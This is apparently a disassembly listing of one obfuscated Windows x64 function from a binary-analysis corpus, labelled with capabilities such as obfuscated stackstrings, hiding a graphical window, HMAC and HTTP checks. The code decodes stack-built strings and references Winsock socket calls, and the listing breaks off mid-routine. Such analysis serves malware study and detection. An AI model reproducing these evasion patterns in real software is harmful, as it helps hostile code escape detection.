Function at 0x1400bb190
Capabilities:
Authenticate hmac
Check http status code
Contain obfuscated stackstrings
Hide graphical window
Parse pe header

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x48f0]
mov eax, 0x49f0
call fcn.140213900
sub rsp, rax
mov rax, qword [0x140278800]
xor rax, rsp
mov qword [rbp + 0x48e0], rax
mov byte [rbp + 0x198], 0xbb
mov byte [rbp + 0x199], 0xbf
mov byte [rbp + 0x19a], 0xa5
mov byte [rbp + 0x19b], 0xb4
mov byte [rbp + 0x19c], Ordinal_143
mov byte [rbp + 0x19d], 0xaa
mov byte [rbp + 0x19e], 0x68
mov byte [rbp + 0x19f], 0xb4
mov byte [rbp + 0x1a0], Ordinal_200
mov byte [rbp + 0x1a1], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0x1a2], Ordinal_217
mov byte [rbp + 0x1a3], Ordinal_217
mov byte [rbp + 0x1a4], Ordinal_211
mov byte [rbp + 0x1a5], 0xa6
mov byte [rbp + 0x1a6], 0xdc
mov byte [rbp + 0x1a7], 0x47
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1a8], xmm0
mov word [rbp + 0x1b8], ax
mov byte [rbp + 0x1ba], al
movabs rdi, 0xd586e8ce1a307291
movabs rsi, 0xb61b72a988c6c58f
movabs r15, 0x84129d5f25d18b8d
movabs r14, 0xadf637eb3d23ae75
movabs r12, 0xa5d0fd2cf180975b
movabs r13, 0x1ed5f97ec2ec427b
movzx edx, byte [rsp + 0x30]
nop dword [rax + rax]
mov r8, qword [0x1402cdf20]
mov r9, qword [0x1402cdf18]
nop
xor r11d, r11d
cmp r11, 0x23
jae 0x1400bbd08
movzx r10d, byte [rbp + r11 + 0x198]
movzx ebx, r10b
nop word [rax + rax]
cmp r8, r11
ja 0x1400bbcff
lea rcx, [r9 + 1]
cmp r8, rcx
jae 0x1400bb2fb
lea rcx, [r11 + r15]
mov rax, rcx
and rax, r10
imul rdx, rax, 0xfffffffffffffffe
add rdx, rcx
add rdx, r10
add dl, 0x25
jmp 0x1400bb342
je 0x1400bbc8a
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400bbbfe
lea rax, [rcx + 1]
cmp r8, rax
je 0x1400bbbc6
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400bbb82
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400bbb5a
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400bbb0f
movzx ebx, r10b
cmp r9, r11
ja 0x1400bbcf6
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400bb36e
lea rcx, [r11 + rdi]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [rbx + rcx]
add dl, 9
jmp 0x1400bb3b0
je 0x1400bbaee
inc rax
cmp r8, rax
je 0x1400bbac6
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400bbaa4
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400bba80
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400bba55
nop word [rax + rax]
lea rax, [r8 + r9]
cmp rax, r11
jbe 0x1400bb6eb
nop dword [rax]
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400bb6cf
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x1400bb6a9
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x1400bb686
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400bb667
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x1400bb64a
lea r8, [r9 + 4]
lea r9, [r8 + 8]
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x1400bbcda
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x1400bbcbe
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x1400bb514
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x1400bb4fb
lea rax, [r9 + 4]
cmp r8, rax
jb 0x1400bb4e2
lea r8, [r9 + 8]
lea r9, [r8 + 0x400]
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x1400bb61d
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x1400bb600
lea rax, [r9 + 2]
cmp r8, rax
ja 0x1400bb5e4
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x1400bb5c9
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x1400bb5ac
lea rax, [r9 + 6]
cmp r8, rax
ja 0x1400bb58f
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x1400bb56e
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x1400bb54a
lea rax, [r9 + 1]
cmp r8, rax
ja 0x1400bb52d
lea r8, [r9 + 0x400]
lea r9, [r8 + 6]
jmp 0x1400bb3c0
lea rcx, [r11 + rsi]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [rbx + rcx]
add dl, 0x17
jmp 0x1400bb3b0
lea rcx, [r11 + r14]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [rbx + rcx]
sub dl, 0x33
jmp 0x1400bb346
lea rcx, [r11 + r12]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [rbx + rcx]
sub dl, 0x7d
jmp 0x1400bb2d0
lea edx, [r11 - 0x78]
movzx eax, r10b
and al, dl
mov ecx, 0x24
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
jmp 0x1400bbb30
lea ecx, [r11 + 0x6e]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 2
inc r9
dec r11
inc r11
jmp 0x1400bb2b3
lea ecx, [r11 + 0x54]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x4c
dec r11
inc r11
jmp 0x1400bb2b3
lea edx, [r11 + 0x3a]
movzx eax, r10b
and al, dl
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
jmp 0x1400bbba3
lea edx, [r11 + 0x20]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
jmp 0x1400bbbe3
lea ecx, [r11 + 6]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x2a
jmp 0x1400bbbe6
lea edx, [r11 - 0x14]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x74
add dl, cl
jmp 0x1400bbc1f
lea edx, [r11 - 0x2e]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
jmp 0x1400bbc47
lea ecx, [r11 - 0x48]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 8
movzx eax, byte [rbp + r11 + 0x198]
add rax, r9
add r11, rax
inc r11
jmp 0x1400bb2b3
lea edx, [r11 - 2]
movzx eax, r10b
and al, dl
mov ecx, 7
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
jmp 0x1400bbbe3
movzx ebx, r11b
lea edx, [rbx - 0x1c]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x3c
add dl, cl
jmp 0x1400bbba7
lea edx, [r11 - 0x36]
movzx eax, r10b
and al, dl
mov ecx, 0x3d
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
dec r11
inc r11
jmp 0x1400bb2b3
lea edx, [r11 - 0x50]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_27
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
inc r9
dec r11
inc r11
jmp 0x1400bb2b3
lea edx, [r11 - 0x6a]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x1a
add dl, cl
jmp 0x1400bbb30
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400bb796
lea rcx, [r11 + r15]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [rbx + rcx]
add dl, 0x25
lea rax, [r8 + r9]
cmp rax, 0x41
je 0x1400bba3b
lea rcx, [r9 + 1]
cmp r8, rcx
jbe 0x1400bb842
lea edx, [r11 - 0x67]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x2f
add dl, cl
cmp r8, 0x10
jae 0x1400bba1c
lea rax, [r9 + 0x40]
cmp r8, rax
jbe 0x1400bb90d
lea edx, [r11 + 0x2a]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x26
add dl, cl
cmp r9, 0x7a
jb 0x1400bba0c
lea edx, [r11 + 0x2e]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_32
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
lea edx, [rcx + rcx]
jmp 0x1400bbb30
jne 0x1400bb7c7
lea edx, [r11 + 0x22]
movzx eax, r10b
and al, dl
mov ecx, 9
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
movzx eax, byte [rbp + r11 + 0x198]
add rax, r9
add r11, rax
inc r11
jmp 0x1400bb2b3
inc rax
cmp r8, rax
jne 0x1400bb7ec
lea edx, [r11 + 0x3c]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
jmp 0x1400bbc47
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400bb814
movzx ebx, r11b
lea edx, [rbx - 0x5c]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x7c
add dl, cl
jmp 0x1400bbba7
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400bb70c
lea ecx, [r11 - 0x42]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x32
dec r11
inc r11
jmp 0x1400bb2b3
jne 0x1400bb860
lea edx, [r11 - 0x4d]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add dl, 0x1b
add dl, cl
jmp 0x1400bbb30
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400bb88a
lea ecx, [r11 - 0x19]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x51
dec r11
inc r11
jmp 0x1400bb2b3
lea rax, [rcx + 1]
cmp r8, rax
jne 0x1400bb8ae
lea ecx, [r11 + 0x1b]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
add dl, 0x43
jmp 0x1400bbbe3
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400bb8d3
lea edx, [r11 + 0x69]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add dl, 0x21
add dl, cl
jmp 0x1400bbc47
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400bb73e
lea ecx, [r11 - 0x7d]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
add dl, 0x6b
movzx eax, byte [rbp + r11 + 0x198]
add rax, r9
add r11, rax
inc r11
jmp 0x1400bb2b3
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400bb945
lea edx, [r11 + 0x44]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
movzx eax, byte [rbp + r11 + 0x198]
add rax, r9
add r11, rax
inc r11
jmp 0x1400bb2b3
inc rax
cmp r8, rax
jne 0x1400bb96a
lea edx, [r11 - 0x6e]
movzx eax, r10b
and al, dl
mov ecx, 1
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
jmp 0x1400bbbe6
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400bb990
lea edx, [r11 - 0x54]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
jmp 0x1400bbbe3
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400bb9b8
movzx ebx, r11b
lea edx, [rbx - 0x3a]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x6a
add dl, cl
jmp 0x1400bbba7
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400bb9e2
lea ecx, [r11 - 0x20]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x20
dec r11
inc r11
jmp 0x1400bb2b3
lea rax, [r9 + 9]
cmp r8, rax
jne 0x1400bb76c
lea edx, [r11 + 0x14]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_60
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
jmp 0x1400bbb30
mov byte [rbp + r11 + 0x198], dl
inc r11
jmp 0x1400bb2b3
movzx ebx, r11b
lea edx, [rbx + 0x48]
movzx eax, r10b
and al, dl
movzx ecx, r10b
sub cl, al
add cl, 4
add cl, cl
add dl, cl
jmp 0x1400bbba7
lea edx, [r11 + 0x62]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
add cl, cl
add dl, cl
jmp 0x1400bbc1f
lea rcx, [r11 + r13]
movzx eax, cl
and al, r10b
add al, al
sub bl, al
lea edx, [rcx + rbx]
sub dl, 0x5d
movzx eax, byte [rbp + r11 + 0x198]
add rax, r9
add r11, rax
inc r11
jmp 0x1400bb2b3
movabs rdx, 0xe8b84022ba61447
add rdx, r11
movzx eax, dl
and al, r10b
add al, al
movzx ecx, bl
sub cl, al
add dl, 0xf
add dl, cl
jmp 0x1400bbc1f
movabs rcx, 0x6664943e002fd2d
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub bl, al
lea edx, [rcx + rbx]
sub dl, 0x3b
jmp 0x1400bbbe6
movabs rcx, 0xedf69908fd19b7df
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub bl, al
lea edx, [rcx + rbx]
sub dl, 0x19
dec r11
inc r11
jmp 0x1400bb2b3
movabs rdx, 0xddac238c65d389ab
add rdx, r11
movzx eax, dl
and al, r10b
add al, al
movzx ecx, bl
sub cl, al
add dl, 0x53
add dl, cl
jmp 0x1400bbb30
movabs rcx, 0xcd61ae0fce8d5b77
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [rbx + rcx]
sub dl, 0x41
movzx r10d, bl
lea ecx, [r11 - 0x45]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x1d
add cl, r10b
mov byte [rbp + r11 + 0x198], cl
inc r9
dec r11
inc r11
jmp 0x1400bb2b3
movabs rcx, 0xbd17389337472d43
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [rbx + rcx]
add dl, 0x2b
dec r11
inc r11
jmp 0x1400bb2b3
movabs rcx, 0xb4f1fdd4eba41629
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [rbx + rcx]
sub dl, 0x1f
movzx r10d, bl
movzx ebx, r11b
sub bl, 0x2b
movzx eax, bl
and al, r10b
add al, al
sub bl, al
add bl, 0x2d
add bl, dl
add bl, r10b
mov byte [rbp + r11 + 0x198], bl
jmp 0x1400bbbe3
movabs rcx, 0xacccc316a000ff0f
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [rbx + rcx]
sub dl, 0x69
add r8, r9
movzx eax, dl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x1400bb2b3
movabs rcx, 0x9c824d9a08bad0db
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [rbx + rcx]
add dl, 3
movzx r10d, bl
lea ecx, [r11 - 0x11]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, 0x77
add cl, r10b
movzx eax, cl
mov byte [rbp + r11 + 0x198], al
inc r9
add rax, r9
sub r11, rax
lea ecx, [r11 + 0x7c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x64
add cl, r10b
mov byte [rbp + r11 + 0x198], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add r11, rax
movzx eax, byte [rbp + r11 + 0x198]
add rax, r9
add r11, rax
inc r11
jmp 0x1400bb2b3
movabs rcx, 0x8c37d81d7174a2a7
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [rbx + rcx]
add dl, 0x6f
movzx eax, byte [rbp + r11 + 0x198]
add rax, r9
add r11, rax
inc r11
jmp 0x1400bb2b3
add r11b, 0x41
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x39
jmp 0x1400bb2b0
add r11b, 0x27
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x11
jmp 0x1400bb2a0
lea rdx, [rbp + 0x149c454]
jmp 0x1400bbd0f
lea rdx, [rbp + 0x11b4fe1]
jmp 0x1400bbd0f
lea rdx, [rbp + 0x198]
mov rcx, qword [0x1402cdcd0]
call fcn.1401036a0
mov rcx, qword [0x1402cdcc0]
call fcn.1400e3650
mov rbx, qword [0x1402cdcc0]
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x4a0]
call fcn.1400d5640
lea rdx, [rbx + 0xa0]
mov rcx, rax
call fcn.1400d5500
lea rcx, [rbp + 0x4a0]
call fcn.140003b70
movabs r15, 0x4bb68876c05cb169
movabs r12, 0x91fe260925fa148d
movabs r13, 0xe27867875e79e4ea
movzx esi, byte [rsp + 0x30]
movzx r14d, byte [rsp + 0x30]
movzx edi, byte [rsp + 0x30]
nop dword [rax + rax]
mov byte [rbp + 0x268], 0x58
mov byte [rbp + 0x269], Ordinal_41
mov byte [rbp + 0x26a], Ordinal_46
mov byte [rbp + 0x26b], Ordinal_41
mov byte [rbp + 0x26c], reloc.WLDAP32.dll_Ordinal_35
mov byte [rbp + 0x26d], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x26e], 0x40
mov byte [rbp + 0x26f], Ordinal_60
mov byte [rbp + 0x270], Ordinal_50
mov byte [rbp + 0x271], Ordinal_46
mov byte [rbp + 0x272], gethostname
mov byte [rbp + 0x273], Ordinal_41
mov byte [rbp + 0x274], 0x54
mov byte [rbp + 0x275], reloc.WLDAP32.dll_Ordinal_50
mov byte [rbp + 0x276], Ordinal_41
mov byte [rbp + 0x277], gethostname
mov byte [rbp + 0x278], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x279], 0x3e
mov byte [rbp + 0x27a], Ordinal_46
mov byte [rbp + 0x27b], gethostname
mov byte [rbp + 0x27c], 0xa2
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x27d], xmm0
mov qword [rbp + 0x28d], rax
mov dword [rbp + 0x295], eax
mov word [rbp + 0x299], ax
nop dword [rax]
nop word [rax + rax]
mov r9, qword [0x1402cdf20]
mov r10, qword [0x1402cdf18]
nop
xor ebx, ebx
cmp rbx, 0x33
jae 0x1400bca47
movzx r11d, byte [rbp + rbx + 0x268]
mov edx, r11d
nop dword [rax + rax]
cmp r9, rbx
ja 0x1400bca3e
lea rax, [r10 + 1]
cmp r9, rax
jae 0x1400bbeac
lea rcx, [rbx + r15]
mov rax, rcx
and rax, rdx
imul rsi, rax, 0xfffffffffffffffe
add rsi, rcx
add rsi, rdx
add sil, 0x21
jmp 0x1400bbee6
je 0x1400bc9c9
lea rax, [r10 + 3]
cmp r9, rax
je 0x1400bc937
lea rax, [r10 + 2]
cmp r9, rax
je 0x1400bc906
lea rax, [r10 + 5]
cmp r9, rax
je 0x1400bc8c8
lea rax, [r10 + 6]
cmp r9, rax
je 0x1400bc881
movzx r8d, bl
nop word [rax + rax]
cmp r10, rbx
ja 0x1400bca35
lea rax, [r10 + 0x20]
cmp r9, rax
jae 0x1400bbf1a
lea ecx, [r8 - 0x63]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea esi, [r11 + rcx]
sub sil, 0x4b
jmp 0x1400bbf50
lea rax, [r10 + 1]
cmp r9, rax
je 0x1400bc869
inc rax
cmp r9, rax
je 0x1400bc846
lea rax, [r10 + 5]
cmp r9, rax
je 0x1400bc82a
lea rax, [r10 + 3]
cmp r9, rax
je 0x1400bc7fd
nop dword [rax]
lea rax, [r10 + r9]
cmp rax, rbx
jbe 0x1400bc4bf
nop dword [rax]
lea rax, [r10 + 2]
cmp r9, rax
je 0x1400bc4a0
lea rax, [r10 + 0x80]
cmp r9, rax
je 0x1400bc477
lea rax, [r10 + 0x42]
cmp r9, rax
je 0x1400bc454
lea rax, [r10 + 0x28]
cmp r9, rax
je 0x1400bc439
lea rax, [r10 + 1]
cmp r9, rax
je 0x1400bc419
lea rax, [r10 + 0x5a]
cmp r9, rax
je 0x1400bc3f9
lea rax, [r10 + 0x40]
cmp r9, rax
je 0x1400bc3de
lea rax, [r10 + 0x20]
cmp r9, rax
je 0x1400bc3c1
lea rax, [r10 + 0x2a]
cmp r9, rax
je 0x1400bc390
lea rax, [r10 + 0x41]
cmp r9, rax
je 0x1400bbf60
lea r9, [r10 + 5]
lea r10, [r9 + 0x61]
lea rax, [r10 + 3]
cmp r9, rax
jb 0x1400bca18
lea rax, [r10 + 1]
cmp r9, rax
jb 0x1400bc9fb
lea rcx, [r10 + 0x64]
cmp r9, rcx
jb 0x1400bc139
lea rax, [r10 + 0x40]
cmp r9, rax
jb 0x1400bc11e
lea rax, [r10 + 2]
cmp r9, rax
jb 0x1400bc103
lea rax, [r10 + 0x2a]
cmp r9, rax
jb 0x1400bc345
lea rax, [r10 + 0x42]
cmp r9, rax
jb 0x1400bc2f8
lea rax, [r10 + 0x28]
cmp r9, rax
jb 0x1400bc2b5
lea rax, [r10 + 0x10]
cmp r9, rax
jb 0x1400bc28d
lea rax, [r10 + 0x5a]
cmp r9, rax
jb 0x1400bbf60
mov r9, rcx
lea r10, [rcx + 0x7a]
lea rax, [r10 + 4]
cmp rcx, rax
ja 0x1400bc25f
lea rax, [r10 + 2]
cmp rcx, rax
ja 0x1400bc23f
lea rcx, [r10 + 0x80]
cmp r9, rcx
ja 0x1400bc220
lea rax, [r10 + 0x42]
cmp r9, rax
ja 0x1400bc200
lea rax, [r10 + 0x28]
cmp r9, rax
ja 0x1400bc1e3
lea rax, [r10 + 1]
cmp r9, rax
ja 0x1400bc1c4
lea rax, [r10 + 0x5a]
cmp r9, rax
ja 0x1400bc19e
lea rax, [r10 + 0x40]
cmp r9, rax
ja 0x1400bc175
lea rax, [r10 + 0x20]
cmp r9, rax
ja 0x1400bc156
lea rax, [r10 + 0x2a]
cmp r9, rax
ja 0x1400bbf60
mov r9, rcx
lea r10, [rcx + 0x41]
jmp 0x1400bbf60
lea ecx, [r8 + 3]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea esi, [r11 + rcx]
sub sil, 0x15
jmp 0x1400bbf50
lea ecx, [r8 + 0x31]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea esi, [r11 + rcx]
sub sil, 0x57
jmp 0x1400bbef0
add r8b, 0x5f
movzx eax, r8b
and al, r11b
add al, al
sub r8b, al
lea esi, [r11 + r8]
add sil, 0x67
jmp 0x1400bbe80
lea edx, [r8 - 0x18]
movzx eax, r11b
and al, dl
add al, al
movzx esi, r11b
sub sil, al
sub sil, 0x58
add sil, dl
jmp 0x1400bc89b
add r8b, 0x16
movzx eax, r11b
and al, r8b
mov ecx, 0x33
sub cl, al
lea esi, [rcx + rcx]
add sil, r11b
add sil, r8b
inc r10
dec rbx
inc rbx
jmp 0x1400bbe62
add r8b, 0x44
movzx eax, r11b
and al, r8b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea esi, [rcx + rcx]
add sil, r11b
add sil, r8b
dec rbx
inc rbx
jmp 0x1400bbe62
lea edx, [r8 + 0x72]
movzx eax, r11b
and al, dl
add al, al
movzx esi, r11b
sub sil, al
sub sil, 0x1e
add sil, dl
jmp 0x1400bc8e2
sub r8b, 0x60
movzx eax, r11b
and al, r8b
add al, al
sub r11b, al
lea esi, [r8 + r11]
sub sil, 0x60
jmp 0x1400bc91b
sub r8b, 0x32
movzx eax, r11b
and al, r8b
mov ecx, Ordinal_50
sub cl, al
lea esi, [rcx + rcx]
add sil, r11b
add sil, r8b
jmp 0x1400bc91e
lea edx, [r8 - 4]
movzx eax, r11b
and al, dl
mov ecx, recv
sub cl, al
lea esi, [rcx + rcx]
add sil, r11b
add sil, dl
jmp 0x1400bc95a
add r8b, 0x2a
movzx eax, r11b
and al, r8b
add al, al
movzx esi, r11b
sub sil, al
sub sil, 0x26
add sil, r8b
jmp 0x1400bc986
add r8b, 0x58
movzx eax, r11b
and al, r8b
add al, al
sub r11b, al
lea esi, [r8 + r11]
sub sil, 0x68
movzx eax, byte [rbp + rbx + 0x268]
add rax, r10
add rbx, rax
inc rbx
jmp 0x1400bbe62
add r8b, 0x4b
movzx eax, r11b
and al, r8b
add al, al
sub r11b, al
lea esi, [r8 + r11]
sub sil, 0xd
mov byte [rbp + rbx + 0x268], sil
inc rbx
jmp 0x1400bbe62
lea edx, [r8 + 0x79]
movzx eax, r11b
and al, dl
add al, al
movzx esi, r11b
sub sil, al
sub sil, 0x4f
add sil, dl
cmp r10, 0x400
jb 0x1400bc2a5
lea edx, [r8 - 0x2a]
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_send
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
lea esi, [rcx + rcx]
jmp 0x1400bc89b
lea edx, [r8 - 0x59]
movzx eax, r11b
and al, dl
add al, al
movzx esi, r11b
sub sil, al
add sil, 0x6f
add sil, dl
cmp r9, 0x3e8
jae 0x1400bc7bd
lea rax, [r10 + 0x2a]
cmp r9, rax
jbe 0x1400bc6b5
lea edx, [r8 - 0x5e]
movzx eax, r11b
and al, dl
add al, al
movzx esi, r11b
sub sil, al
sub sil, 0x6e
jmp 0x1400bc2cc
lea ecx, [r8 - 0x2b]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea esi, [r11 + rcx]
add sil, 0x2d
lea rax, [r10 + r9]
cmp rax, 0x200
je 0x1400bc7db
lea rax, [r10 + 0x5a]
cmp r9, rax
jbe 0x1400bc5ed
lea ecx, [r8 + 5]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea esi, [r11 + rcx]
sub sil, 0x23
jmp 0x1400bc312
sub r8b, 0x52
movzx eax, r8b
and al, r11b
mov ecx, Ordinal_32
sub cl, al
lea esi, [rcx + rcx]
add sil, r8b
add sil, r11b
movzx eax, byte [rbp + rbx + 0x268]
add rax, r10
add rbx, rax
inc rbx
jmp 0x1400bbe62
sub r8b, 0x24
movzx eax, r8b
and al, r11b
add al, al
sub r8b, al
lea esi, [r11 + r8]
sub sil, 4
jmp 0x1400bc986
lea ecx, [r8 + 0xa]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea esi, [r11 + rcx]
sub sil, 0x46
jmp 0x1400bc95a
add r8b, 0x38
movzx eax, r8b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea esi, [rcx + rcx]
add sil, r8b
add sil, r11b
jmp 0x1400bc91e
add r8b, 0x66
movzx eax, r8b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea esi, [rcx + rcx]
add sil, r8b
add sil, r11b
jmp 0x1400bc91b
lea ecx, [r8 - 0x6c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea esi, [r11 + rcx]
sub sil, 0xc
jmp 0x1400bc8e2
sub r8b, 0x3e
movzx eax, r8b
and al, r11b
add al, al
sub r8b, al
lea esi, [r11 + r8]
sub sil, 0x4e
dec rbx
inc rbx
jmp 0x1400bbe62
sub r8b, 0x10
movzx eax, r8b
and al, r11b
mov ecx, gethostname
sub cl, al
lea esi, [rcx + rcx]
add sil, r8b
add sil, r11b
inc r10
dec rbx
inc rbx
jmp 0x1400bbe62
lea edx, [r8 + 0x1e]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea esi, [rcx + rcx]
add sil, dl
add sil, r11b
jmp 0x1400bc89b
lea rcx, [r10 + 5]
cmp r9, rcx
jae 0x1400bc4e3
lea ecx, [r8 + 0x69]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea esi, [r11 + rcx]
add sil, 0x21
jmp 0x1400bc35b
lea rax, [r10 + 1]
cmp r9, rax
jne 0x1400bc51d
add r8b, 0x3a
movzx eax, r8b
and al, r11b
mov ecx, gethostname
sub cl, al
lea esi, [rcx + rcx]
add sil, r8b
add sil, r11b
movzx eax, byte [rbp + rbx + 0x268]
add rax, r10
add rbx, rax
inc rbx
jmp 0x1400bbe62
lea rax, [r10 + 3]
cmp r9, rax
jne 0x1400bc546
sub r8b, 0x50
movzx eax, r8b
and al, r11b
mov ecx, Ordinal_27
sub cl, al
lea esi, [rcx + rcx]
add sil, r8b
add sil, r11b
jmp 0x1400bc91e
lea rax, [r10 + 2]
cmp r9, rax
jne 0x1400bc56f
sub r8b, 0x7e
movzx eax, r8b
and al, r11b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea esi, [rcx + rcx]
add sil, r8b
add sil, r11b
jmp 0x1400bc91b
cmp r9, rcx
jne 0x1400bc58f
lea ecx, [r8 + 0x54]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea esi, [r11 + rcx]
sub sil, 0x4c
jmp 0x1400bc8e2
lea rax, [r10 + 6]
cmp r9, rax
jne 0x1400bc5c1
sub r8b, 8
movzx eax, r8b
and al, r11b
